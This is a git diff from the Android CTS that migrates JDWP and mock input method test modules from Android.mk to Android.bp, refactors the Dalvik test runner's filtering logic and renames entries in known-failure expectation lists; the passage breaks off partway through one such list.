+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_helper_library {
+    name: "CtsMockInputMethodLib",
+    sdk_version: "test_current",
+
+    // TODO: ideally we should split MockIme source files into three categories
+    //       1) common, 2) common + IME-only, and 3) common + client-only.
+    //       Currently, both MockIme APK and test APKs that use MockIme contain
+    //       all the Java classes, which is inefficient.
+    srcs: ["src/**/*.java"],
+    libs: ["junit"],
+    static_libs: [
+        "androidx.annotation_annotation",
+        "compatibility-device-util-axt",
+    ],
+}
+
diff --git a/tests/inputmethod/mockime/Android.mk b/tests/inputmethod/mockime/Android.mk
deleted file mode 100644
index 2265b34..0000000
--- a/tests/inputmethod/mockime/Android.mk
+++ /dev/null
@@ -1,30 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsMockInputMethod
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SDK_VERSION := current
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_JAVA_LIBRARIES := junit
-LOCAL_STATIC_JAVA_LIBRARIES := \
-   androidx.annotation_annotation \
-   compatibility-device-util-axt
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/tests/jank/AndroidTest.xml b/tests/jank/AndroidTest.xml
index 9c409a5..6ac9f2c 100644
--- a/tests/jank/AndroidTest.xml
+++ b/tests/jank/AndroidTest.xml
@@ -17,6 +17,8 @@
     <option name="test-suite-tag" value="cts" />
     <option name="not-shardable" value="true" />
     <option name="config-descriptor:metadata" key="component" value="graphics" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsUiDeviceTestCases.apk" />
diff --git a/tests/jdwp/Android.bp b/tests/jdwp/Android.bp
new file mode 100644
index 0000000..d7d748c
--- /dev/null
+++ b/tests/jdwp/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test {
+
+    name: "CtsJdwpTestCases",
+
+    static_libs: ["apache-harmony-jdwp-tests"],
+
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+    data: [":cts-dalvik-device-test-runner"],
+}
diff --git a/tests/jdwp/Android.mk b/tests/jdwp/Android.mk
deleted file mode 100644
index a37eff0..0000000
--- a/tests/jdwp/Android.mk
+++ /dev/null
@@ -1,34 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJdwpTestCases
-
-LOCAL_STATIC_JAVA_LIBRARIES := apache-harmony-jdwp-tests
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-
-include $(BUILD_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/jdwp/AndroidTest.xml b/tests/jdwp/AndroidTest.xml
index 462ed34..9fc608e 100644
--- a/tests/jdwp/AndroidTest.xml
+++ b/tests/jdwp/AndroidTest.xml
@@ -16,6 +16,8 @@
 <configuration description="Config for CTS JDWP test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="art" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="mkdir -p /data/local/tmp/ctsjdwp/java.io.tmpdir" />
         <option name="run-command" value="mkdir -p /data/local/tmp/ctsjdwp/user.home" />
@@ -36,6 +38,7 @@
         <option name="dalvik-arg" value="-Djpda.settings.verbose=false" />
         <option name="dalvik-arg" value="-Djpda.settings.timeout=10000" />
         <option name="dalvik-arg" value="-Djpda.settings.waitingTime=10000" />
+        <option name="dalvik-arg" value="-Djpda.settings.dumpProcess='/system/xbin/su root /system/bin/logwrapper /system/bin/debuggerd'" />
         <option name="dalvik-arg-adbconnection" value="-Djpda.settings.debuggeeAgentArgument=-agentpath:" />
         <option name="dalvik-arg-adbconnection" value="-Djpda.settings.debuggeeAgentName=libjdwp.so" />
         <option name="dalvik-arg-adbconnection" value="-Djpda.settings.debuggeeJavaPath='dalvikvm|#ABI#| -XXlib:libart.so -Xplugin:libopenjdkjvmti.so -Xcompiler-option --debuggable -Xusejit:true'" />
diff --git a/tests/jdwp/OWNERS b/tests/jdwp/OWNERS
new file mode 100644
index 0000000..6e06299
--- /dev/null
+++ b/tests/jdwp/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 86431
+include /hostsidetests/jvmti/run-tests/OWNERS
diff --git a/tests/jdwp/TEST_MAPPING b/tests/jdwp/TEST_MAPPING
new file mode 100644
index 0000000..0c53164
--- /dev/null
+++ b/tests/jdwp/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsJdwpTestCases"
+    }
+  ]
+}
diff --git a/tests/jdwp/runner/Android.mk b/tests/jdwp/runner/Android.mk
deleted file mode 100644
index 71388aa..0000000
--- a/tests/jdwp/runner/Android.mk
+++ /dev/null
@@ -1,15 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-include $(call all-subdir-makefiles)
diff --git a/tests/jdwp/runner/device-side/Android.bp b/tests/jdwp/runner/device-side/Android.bp
new file mode 100644
index 0000000..98edcf8
--- /dev/null
+++ b/tests/jdwp/runner/device-side/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_helper_library {
+    name: "cts-dalvik-device-test-runner",
+    installable: true,
+
+    srcs: ["src/**/*.java"],
+
+    dex_preopt: {
+        enabled: false,
+    },
+
+    optimize: {
+        enabled: false,
+    },
+
+    static_libs: ["junit"],
+}
diff --git a/tests/jdwp/runner/device-side/Android.mk b/tests/jdwp/runner/device-side/Android.mk
deleted file mode 100644
index 9bfe418..0000000
--- a/tests/jdwp/runner/device-side/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE := cts-dalvik-device-test-runner
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_STATIC_JAVA_LIBRARIES := junit
-
-# don't include these packages in any target
-LOCAL_MODULE_TAGS := optional
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_JAVA_LIBRARY)
diff --git a/tests/jdwp/runner/device-side/src/com/android/compatibility/dalvik/DalvikTestRunner.java b/tests/jdwp/runner/device-side/src/com/android/compatibility/dalvik/DalvikTestRunner.java
index 99daac1..cce81d0 100644
--- a/tests/jdwp/runner/device-side/src/com/android/compatibility/dalvik/DalvikTestRunner.java
+++ b/tests/jdwp/runner/device-side/src/com/android/compatibility/dalvik/DalvikTestRunner.java
@@ -29,6 +29,8 @@
 import java.io.File;
 import java.io.FileNotFoundException;
 import java.io.IOException;
+import java.io.PrintWriter;
+import java.io.StringWriter;
 import java.lang.annotation.Annotation;
 import java.lang.reflect.Method;
 import java.lang.reflect.Modifier;
@@ -39,6 +41,7 @@
 import java.util.List;
 import java.util.Scanner;
 import java.util.Set;
+import java.util.function.Consumer;
 
 /**
  * Runs tests against the Dalvik VM.
@@ -120,33 +123,59 @@
         System.out.println(String.format("end-run:%d", end - start));
     }
 
+    private static void iterateTests(Test test, Set<String> includes, Set<String> excludes,
+            Consumer<Test> sink) {
+        if (test instanceof TestSuite) {
+            // If the test is a suite it could contain multiple tests, these need to be split
+            // out into separate tests so they can be filtered
+            TestSuite suite = (TestSuite) test;
+            Enumeration<Test> enumerator = suite.tests();
+            while (enumerator.hasMoreElements()) {
+                iterateTests(enumerator.nextElement(), includes, excludes, sink);
+            }
+            return;
+        }
+        if (shouldRun(test, includes, excludes)) {
+            sink.accept(test);
+        }
+    }
+
     /* Recursively collect tests, since Test elements of the TestSuite may also be TestSuite
      * objects containing Tests. */
     private static void collectTests(TestSuite suite, TestListener listener,
             Set<String> includes, Set<String> excludes) {
-
-        Enumeration<Test> tests = suite.tests();
-        while (tests.hasMoreElements()) {
-            Test test = tests.nextElement();
-            if (test instanceof TestSuite) {
-                collectTests((TestSuite) test, listener, includes, excludes);
-            } else if (shouldCollect(test, includes, excludes)) {
-                listener.startTest(test);
-                listener.endTest(test);
-            }
-        }
+        iterateTests(suite, includes, excludes, test -> {
+            listener.startTest(test);
+            listener.endTest(test);
+        });
     }
 
-    /* Copied from FilterableTestSuite.shouldRun(), which is private */
-    private static boolean shouldCollect(Test test, Set<String> includes, Set<String> excludes) {
+    private static boolean packageFilterApplies(String className, Set<String> filters) {
+      // Traditional meaning: equality.
+      int index = className.lastIndexOf('.');
+      String packageName = index < 0 ? "" : className.substring(0, index);
+      if (filters.contains(packageName)) {
+        return true;
+      }
+
+      // See if it's a name prefix, for JarJared names.
+      for (String filter : filters) {
+        if (className.startsWith(filter) && className.length() > filter.length() &&
+                className.charAt(filter.length()) == '_') {
+            return true;
+        }
+      }
+
+      return false;
+    }
+
+    private static boolean shouldRun(Test test, Set<String> includes, Set<String> excludes) {
         String fullName = test.toString();
         String[] parts = fullName.split("[\\(\\)]");
         String className = parts[1];
         String methodName = String.format("%s#%s", className, parts[0]);
-        int index = className.lastIndexOf('.');
-        String packageName = index < 0 ? "" : className.substring(0, index);
 
-        if (excludes.contains(packageName)) {
+        if (packageFilterApplies(className, excludes)) {
             // Skip package because it was excluded
             return false;
         }
@@ -161,7 +190,7 @@
         return includes.isEmpty()
                 || includes.contains(methodName)
                 || includes.contains(className)
-                || includes.contains(packageName);
+                || packageFilterApplies(className, includes);
     }
 
     private static void loadFilters(String filename, Set<String> filters) {
@@ -308,7 +337,20 @@
         }
 
         public static String stringify(Throwable error) {
-            return Arrays.toString(error.getStackTrace()).replaceAll("\n", " ");
+            String output = null;
+            try {
+              try (StringWriter sw = new StringWriter()) {
+                try (PrintWriter pw = new PrintWriter(sw)) {
+                  error.printStackTrace(pw);
+                }
+                output = sw.toString();
+              }
+            } catch (Exception e) {
+              if (output == null) {
+                output = error.toString() + Arrays.toString(error.getStackTrace());
+              }
+            }
+            return output.replace("\n", "^~^");
         }
     }
 
@@ -337,77 +379,25 @@
             mExcludes = excludes;
         }
 
-        /**
-         * {@inheritDoc}
-         */
+        private static class CountConsumer implements Consumer<Test> {
+            public int count = 0;
+
+            @Override
+            public void accept(Test t) {
+                count++;
+            }
+        }
+
         @Override
         public int countTestCases() {
-            return countTests(this);
+            CountConsumer counter = new CountConsumer();
+            iterateTests(this, mIncludes, mExcludes, counter);
+            return counter.count;
         }
 
-        private int countTests(Test test) {
-            if (test instanceof TestSuite) {
-                // If the test is a suite it could contain multiple tests, these need to be split
-                // out into separate tests so they can be filtered
-                TestSuite suite = (TestSuite) test;
-                Enumeration<Test> enumerator = suite.tests();
-                int count = 0;
-                while (enumerator.hasMoreElements()) {
-                    count += countTests(enumerator.nextElement());
-                }
-                return count;
-            } else if (shouldRun(test)) {
-                return 1;
-            }
-            return 0;
-        }
-
-        /**
-         * {@inheritDoc}
-         */
         @Override
         public void runTest(Test test, TestResult result) {
-            runTests(test, result);
-        }
-
-        private void runTests(Test test, TestResult result) {
-            if (test instanceof TestSuite) {
-                // If the test is a suite it could contain multiple tests, these need to be split
-                // out into separate tests so they can be filtered
-                TestSuite suite = (TestSuite) test;
-                Enumeration<Test> enumerator = suite.tests();
-                while (enumerator.hasMoreElements()) {
-                    runTests(enumerator.nextElement(), result);
-                }
-            } else if (shouldRun(test)) {
-                test.run(result);
-            }
-        }
-
-        private boolean shouldRun(Test test) {
-            String fullName = test.toString();
-            String[] parts = fullName.split("[\\(\\)]");
-            String className = parts[1];
-            String methodName = String.format("%s#%s", className, parts[0]);
-            int index = className.lastIndexOf('.');
-            String packageName = index < 0 ? "" : className.substring(0, index);
-
-            if (mExcludes.contains(packageName)) {
-                // Skip package because it was excluded
-                return false;
-            }
-            if (mExcludes.contains(className)) {
-                // Skip class because it was excluded
-                return false;
-            }
-            if (mExcludes.contains(methodName)) {
-                // Skip method because it was excluded
-                return false;
-            }
-            return mIncludes.isEmpty()
-                    || mIncludes.contains(methodName)
-                    || mIncludes.contains(className)
-                    || mIncludes.contains(packageName);
+            iterateTests(test, mIncludes, mExcludes, t -> t.run(result));
         }
     }
 }
diff --git a/tests/jdwp/runner/host-side/Android.bp b/tests/jdwp/runner/host-side/Android.bp
new file mode 100644
index 0000000..597ae6f
--- /dev/null
+++ b/tests/jdwp/runner/host-side/Android.bp
@@ -0,0 +1,40 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// TODO: Figure out what to do with something that is technically just
+//       a library component for a test, not a test. Right now, make it
+//       a test to retain the test_suites from the original Android.mk.
+
+java_test_host {
+    name: "cts-dalvik-host-test-runner",
+
+    srcs: ["src/**/*.java"],
+
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+    ],
+
+    static_libs: ["vogarexpect-no-deps"],
+
+    java_resource_dirs: ["resources"],
+
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+	"mts",
+    ],
+}
diff --git a/tests/jdwp/runner/host-side/Android.mk b/tests/jdwp/runner/host-side/Android.mk
deleted file mode 100644
index 32abf79..0000000
--- a/tests/jdwp/runner/host-side/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE := cts-dalvik-host-test-runner
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
-
-LOCAL_STATIC_JAVA_LIBRARIES := vogarexpectlib
-
-# don't include these packages in any target
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_JAVA_RESOURCE_DIRS := resources
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/tests/jdwp/runner/host-side/resources/expectations/external_oj_libjdwp_art_failures.txt b/tests/jdwp/runner/host-side/resources/expectations/external_oj_libjdwp_art_failures.txt
index 61cf050..72c81cf 100644
--- a/tests/jdwp/runner/host-side/resources/expectations/external_oj_libjdwp_art_failures.txt
+++ b/tests/jdwp/runner/host-side/resources/expectations/external_oj_libjdwp_art_failures.txt
@@ -8,45 +8,45 @@
   description: "Test fails due to unexpectedly getting the thread-groups of zombie threads",
   result: EXEC_FAILED,
   bug: 66906414,
-  name: "org.apache.harmony.jpda.tests.jdwp.ThreadReference.ThreadGroup002Test#testThreadGroup002"
+  name: "org.apache.harmony.jpda.tests.jdwp.ThreadReference_ThreadGroup002Test#testThreadGroup002"
 },
 {
   description: "This test is incorrect since it blindly requests local variables without checking their slot numbers.",
   result: EXEC_FAILED,
   bug: 74028528,
-  name: "org.apache.harmony.jpda.tests.jdwp.Events.Breakpoint003Test#testBreakPointInFrameworkCode"
+  name: "org.apache.harmony.jpda.tests.jdwp.Events_Breakpoint003Test#testBreakPointInFrameworkCode"
 },
 {
   description: "Test fails due to static values not being set correctly.",
   result: EXEC_FAILED,
   bug: 66905894,
-  name: "org.apache.harmony.jpda.tests.jdwp.ReferenceType.GetValues006Test#testGetValues006"
+  name: "org.apache.harmony.jpda.tests.jdwp.ReferenceType_GetValues006Test#testGetValues006"
 },
 {
   description: "Tests that fail on both ART and RI. These tests are likely incorrect",
   result: EXEC_FAILED,
   bug: 66906734,
-  names: [ "org.apache.harmony.jpda.tests.jdwp.ArrayReference.SetValues003Test#testSetValues003_InvalidIndex",
-           "org.apache.harmony.jpda.tests.jdwp.ClassType.InvokeMethod002Test#testInvokeMethod_wrong_argument_types",
-           "org.apache.harmony.jpda.tests.jdwp.ClassType.InvokeMethodTest#testInvokeMethod002",
-           "org.apache.harmony.jpda.tests.jdwp.ClassType.InvokeMethodTest#testInvokeMethod003",
-           "org.apache.harmony.jpda.tests.jdwp.ClassType.NewInstanceTest#testNewInstance002",
-           "org.apache.harmony.jpda.tests.jdwp.ClassType.SetValues002Test#testSetValues002",
-           "org.apache.harmony.jpda.tests.jdwp.Events.ClassPrepare002Test#testClassPrepareCausedByDebugger",
-           "org.apache.harmony.jpda.tests.jdwp.Events.ExceptionCaughtTest#testExceptionEvent_ThrowLocation_FromNative",
-           "org.apache.harmony.jpda.tests.jdwp.ObjectReference.DisableCollectionTest#testDisableCollection_null",
-           "org.apache.harmony.jpda.tests.jdwp.ObjectReference.EnableCollectionTest#testEnableCollection_invalid",
-           "org.apache.harmony.jpda.tests.jdwp.ObjectReference.EnableCollectionTest#testEnableCollection_null",
-           "org.apache.harmony.jpda.tests.jdwp.ObjectReference.GetValues002Test#testGetValues002",
-           "org.apache.harmony.jpda.tests.jdwp.ObjectReference.SetValues003Test#testSetValues003",
-           "org.apache.harmony.jpda.tests.jdwp.ObjectReference.SetValuesTest#testSetValues001",
-           "org.apache.harmony.jpda.tests.jdwp.ReferenceType.FieldsWithGenericTest#testFieldsWithGeneric001",
-           "org.apache.harmony.jpda.tests.jdwp.ReferenceType.GetValues002Test#testGetValues002",
-           "org.apache.harmony.jpda.tests.jdwp.ReferenceType.GetValues004Test#testGetValues004",
-           "org.apache.harmony.jpda.tests.jdwp.StringReference.ValueTest#testStringReferenceValueTest001_NullString",
-           "org.apache.harmony.jpda.tests.jdwp.ThreadGroupReference.ChildrenTest#testChildren_NullObject",
-           "org.apache.harmony.jpda.tests.jdwp.ThreadGroupReference.NameTest#testName001_NullObject",
-           "org.apache.harmony.jpda.tests.jdwp.ThreadGroupReference.ParentTest#testParent_NullObject",
-           "org.apache.harmony.jpda.tests.jdwp.VirtualMachine.CapabilitiesNewTest#testCapabilitiesNew001" ]
+  names: [ "org.apache.harmony.jpda.tests.jdwp.ArrayReference_SetValues003Test#testSetValues003_InvalidIndex",
+           "org.apache.harmony.jpda.tests.jdwp.ClassType_InvokeMethod002Test#testInvokeMethod_wrong_argument_types",
+           "org.apache.harmony.jpda.tests.jdwp.ClassType_InvokeMethodTest#testInvokeMethod002",
+           "org.apache.harmony.jpda.tests.jdwp.ClassType_InvokeMethodTest#testInvokeMethod003",
+           "org.apache.harmony.jpda.tests.jdwp.ClassType_NewInstanceTest#testNewInstance002",
+           "org.apache.harmony.jpda.tests.jdwp.ClassType_SetValues002Test#testSetValues002",
+           "org.apache.harmony.jpda.tests.jdwp.Events_ClassPrepare002Test#testClassPrepareCausedByDebugger",
+           "org.apache.harmony.jpda.tests.jdwp.Events_ExceptionCaughtTest#testExceptionEvent_ThrowLocation_FromNative",
+           "org.apache.harmony.jpda.tests.jdwp.ObjectReference_DisableCollectionTest#testDisableCollection_null",
+           "org.apache.harmony.jpda.tests.jdwp.ObjectReference_EnableCollectionTest#testEnableCollection_invalid",
+           "org.apache.harmony.jpda.tests.jdwp.ObjectReference_EnableCollectionTest#testEnableCollection_null",
+           "org.apache.harmony.jpda.tests.jdwp.ObjectReference_GetValues002Test#testGetValues002",
+           "org.apache.harmony.jpda.tests.jdwp.ObjectReference_SetValues003Test#testSetValues003",
+           "org.apache.harmony.jpda.tests.jdwp.ObjectReference_SetValuesTest#testSetValues001",
+           "org.apache.harmony.jpda.tests.jdwp.ReferenceType_FieldsWithGenericTest#testFieldsWithGeneric001",
+           "org.apache.harmony.jpda.tests.jdwp.ReferenceType_GetValues002Test#testGetValues002",
+           "org.apache.harmony.jpda.tests.jdwp.ReferenceType_GetValues004Test#testGetValues004",
+           "org.apache.harmony.jpda.tests.jdwp.StringReference_ValueTest#testStringReferenceValueTest001_NullString",
+           "org.apache.harmony.jpda.tests.jdwp.ThreadGroupReference_ChildrenTest#testChildren_NullObject",
+           "org.apache.harmony.jpda.tests.jdwp.ThreadGroupReference_NameTest#testName001_NullObject",
+           "org.apache.harmony.jpda.tests.jdwp.ThreadGroupReference_ParentTest#testParent_NullObject",
+           "org.apache.harmony.jpda.tests.jdwp.VirtualMachine_CapabilitiesNewTest#testCapabilitiesNew001" ]
 }
 ]
diff --git a/tests/jdwp/runner/host-side/resources/expectations/jdwp-known-failures.txt b/tests/jdwp/runner/host-side/resources/expectations/jdwp-known-failures.txt
index 3354b62..910d7b8 100644
--- a/tests/jdwp/runner/host-side/resources/expectations/jdwp-known-failures.txt
+++ b/tests/jdwp/runner/host-side/resources/expectations/jdwp-known-failures.txt
@@ -5,30 +5,30 @@
 {
   description: "CTS JDWP known failures",
   names: [
-    "org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand.OnthrowDebuggerLaunchTest#testDebuggerLaunch001",
-    "org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand.OnthrowDebuggerLaunchTest#testDebuggerLaunch002",
-    "org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand.OnthrowDebuggerLaunchTest#testDebuggerLaunch003",
-    "org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand.OnthrowDebuggerLaunchTest#testDebuggerLaunch004",
-    "org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand.OnthrowLaunchDebugger001#testDebugger002",
-    "org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand.OnthrowLaunchDebugger002#testDebugger",
-    "org.apache.harmony.jpda.tests.jdwp.Events.ClassUnloadTest#testClassUnloadEvent",
-    "org.apache.harmony.jpda.tests.jdwp.Events.MonitorContendedEnterTest#testMonitorContendedEnterForClassMatch",
-    "org.apache.harmony.jpda.tests.jdwp.Events.MonitorContendedEnteredTest#testMonitorContendedEnteredForClassMatch",
-    "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitTest#testMonitorWaitForClassExclude",
-    "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitTest#testMonitorWaitForClassMatchExact",
-    "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitTest#testMonitorWaitForClassMatchFirst",
-    "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitTest#testMonitorWaitForClassMatchSecond",
-    "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitTest#testMonitorWaitForClassOnly",
-    "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitedTest#testMonitorWaitedForClassExclude",
-    "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitedTest#testMonitorWaitedForClassMatchExact",
-    "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitedTest#testMonitorWaitedForClassMatchFirst",
-    "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitedTest#testMonitorWaitedForClassMatchSecond",
-    "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitedTest#testMonitorWaitedForClassOnly",
-    "org.apache.harmony.jpda.tests.jdwp.ReferenceType.ClassFileVersionTest#testClassFileVersion001",
-    "org.apache.harmony.jpda.tests.jdwp.ReferenceType.NestedTypesTest#testNestedTypes001",
-    "org.apache.harmony.jpda.tests.jdwp.ThreadReference.StopTest#testStop001",
-    "org.apache.harmony.jpda.tests.jdwp.VirtualMachine.HoldEventsTest#testHoldEvents001",
-    "org.apache.harmony.jpda.tests.jdwp.VirtualMachine.ReleaseEventsTest#testReleaseEvents001"
+    "org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand_OnthrowDebuggerLaunchTest#testDebuggerLaunch001",
+    "org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand_OnthrowDebuggerLaunchTest#testDebuggerLaunch002",
+    "org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand_OnthrowDebuggerLaunchTest#testDebuggerLaunch003",
+    "org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand_OnthrowDebuggerLaunchTest#testDebuggerLaunch004",
+    "org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand_OnthrowLaunchDebugger001#testDebugger002",
+    "org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand_OnthrowLaunchDebugger002#testDebugger",
+    "org.apache.harmony.jpda.tests.jdwp.Events_ClassUnloadTest#testClassUnloadEvent",
+    "org.apache.harmony.jpda.tests.jdwp.Events_MonitorContendedEnterTest#testMonitorContendedEnterForClassMatch",
+    "org.apache.harmony.jpda.tests.jdwp.Events_MonitorContendedEnteredTest#testMonitorContendedEnteredForClassMatch",
+    "org.apache.harmony.jpda.tests.jdwp.Events_MonitorWaitTest#testMonitorWaitForClassExclude",
+    "org.apache.harmony.jpda.tests.jdwp.Events_MonitorWaitTest#testMonitorWaitForClassMatchExact",
+    "org.apache.harmony.jpda.tests.jdwp.Events_MonitorWaitTest#testMonitorWaitForClassMatchFirst",
+    "org.apache.harmony.jpda.tests.jdwp.Events_MonitorWaitTest#testMonitorWaitForClassMatchSecond",
+    "org.apache.harmony.jpda.tests.jdwp.Events_MonitorWaitTest#testMonitorWaitForClassOnly",
+    "org.apache.harmony.jpda.tests.jdwp.Events_MonitorWaitedTest#testMonitorWaitedForClassExclude",
+    "org.apache.harmony.jpda.tests.jdwp.Events_MonitorWaitedTest#testMonitorWaitedForClassMatchExact",
+    "org.apache.harmony.jpda.tests.jdwp.Events_MonitorWaitedTest#testMonitorWaitedForClassMatchFirst",
+    "org.apache.harmony.jpda.tests.jdwp.Events_MonitorWaitedTest#testMonitorWaitedForClassMatchSecond",
